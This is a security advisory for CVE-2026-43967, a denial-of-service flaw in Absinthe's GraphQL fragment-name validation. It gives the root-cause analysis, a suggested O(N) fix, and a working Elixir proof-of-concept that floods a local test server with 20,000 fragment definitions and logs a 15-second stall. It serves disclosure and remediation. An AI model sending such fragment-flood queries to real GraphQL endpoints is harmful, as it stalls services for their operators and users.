CVE-2026-43967

An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).

Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14

Details

Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end), a full linear scan of the fragment list, for every individual fragment. The result is N · N name comparisons per document.

input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.

The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:

dups =
  for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
      k > 1,
      into: MapSet.new(),
      do: name

and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).

PoC

A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.

Scripts and Logs

# Verifies: Quadratic fragment-name uniqueness check

Mix.install([
  {:absinthe, "~> 1.7"},
  {:absinthe_plug, "~> 1.5"},
  {:bandit, "~> 1.0"},
  {:plug, "~> 1.15"},
  {:jason, "~> 1.4"},
  {:req, "~> 0.5"}
])

defmodule VictimSchema do
  use Absinthe.Schema

  object :thing do
    field :f, :string
  end

  query do
    field :thing, :thing do
      resolve(fn _, _ -> {:ok, %{f: "x"}} end)
    end
  end
end

defmodule VictimRouter do
  use Plug.Router

  plug :match

  plug Plug.Parsers,
    parsers: [:json],
    pass: ["*/*"],
    json_decoder: Jason

  plug :dispatch

  forward "/graphql",
    to: Absinthe.Plug,
    init_opts: [schema: VictimSchema]

  match _ do
    send_resp(conn, 404, "nope")
  end
end

port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)

n = 20_000

fragments =
  1..n
  |> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
  |> Enum.join(" ")

query = "{ thing { f } } " <> fragments

IO.puts(
  "Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)

{us, response} =
  :timer.tc(fn ->
    Req.post!("http://127.0.0.1:#{port}/graphql",
      json: %{query: query},
      receive_timeout: 600_000,
      retry: false
    )
  end)

ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")

result =
  if ms > 1000 do
    "VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
  else
    "NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
  end

IO.puts(result)

Logs

HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).